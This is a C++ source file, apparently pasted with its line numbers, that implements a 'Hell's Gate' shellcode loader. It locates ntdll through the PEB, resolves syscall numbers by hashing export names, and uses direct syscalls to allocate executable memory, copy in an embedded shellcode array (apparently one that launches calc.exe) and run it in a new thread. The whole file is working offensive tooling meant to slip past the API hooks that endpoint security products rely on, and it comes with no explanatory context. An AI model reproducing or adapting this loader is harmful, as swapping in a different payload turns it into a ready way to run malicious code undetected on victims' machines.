1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| #include <iostream> #include <Windows.h> #include <tchar.h> using namespace std; EXTERN_C VOID HellsGate(WORD wIndex); EXTERN_C VOID HellCall(...); ULONGLONG GetNtdllAddress(VOID) { ULONGLONG ullNtdll = 0; _TEB* pTeb = NtCurrentTeb(); PULONGLONG pPeb = (PULONGLONG)(*(PULONGLONG)((ULONGLONG)pTeb + 0x60)); PULONGLONG pLdr = (PULONGLONG)(*(PULONGLONG)((ULONGLONG)pPeb + 0x18)); PULONGLONG pInLoadOrderModuleList = (PULONGLONG)((ULONGLONG)pLdr + 0x10); PULONGLONG pModuleExe = (PULONGLONG)(*pInLoadOrderModuleList); PULONGLONG pModuleNtdll = (PULONGLONG)(*pModuleExe); ullNtdll = pModuleNtdll[6]; return ullNtdll; }; DWORD GetNtProcIndex(DWORD dwHash) { ULONGLONG ullBase = GetNtdllAddress(); PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ullBase; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS64)(pDos->e_lfanew + ullBase); PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory; pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]); DWORD dwOffset = pExportDir->VirtualAddress; PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwOffset + ullBase); DWORD dwFunCount = pExport->NumberOfFunctions; DWORD dwFunNameCount = pExport->NumberOfNames; PDWORD pEAT = (PDWORD)(ullBase + pExport->AddressOfFunctions); PDWORD pENT = (PDWORD)(ullBase + pExport->AddressOfNames); PWORD pEIT = (PWORD)(ullBase + pExport->AddressOfNameOrdinals); for (SIZE_T i = 0; i < dwFunCount; i++) { if (!pEAT[i]) continue; ULONGLONG ullFunAddOffset = pEAT[i]; for (SIZE_T index = 0; index < dwFunNameCount; index++) if (pEIT[index] == i) { ULONGLONG ullFunNameOffset = pENT[index]; PCHAR pFunName = (PCHAR)(ullBase + ullFunNameOffset); DWORD digest = 0; while (*pFunName) { digest = ((digest << 25) | (digest >> 7)); digest += *pFunName; pFunName++; }; if (dwHash == digest) return *(PUCHAR)((ullBase + ullFunAddOffset) + 0x4); }; }; }; UCHAR shellcode[276] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00 }; INT _tmain(INT argc, _TCHAR argv[]) { HANDLE hThread; HANDLE hProcess = GetCurrentProcess(); LPVOID lpAddress = NULL; SIZE_T sSize = 0x1000; HellsGate(GetNtProcIndex(0x9cb80579)); HellCall(hProcess, &lpAddress, &sSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0, 0); HellsGate(GetNtProcIndex(0x1130814d)); HellCall(hProcess, lpAddress, shellcode, sizeof(shellcode), 0); HellsGate(GetNtProcIndex(0x93ec9d3d)); HellCall(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, lpAddress, 0, 0, 0, 0, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; };
|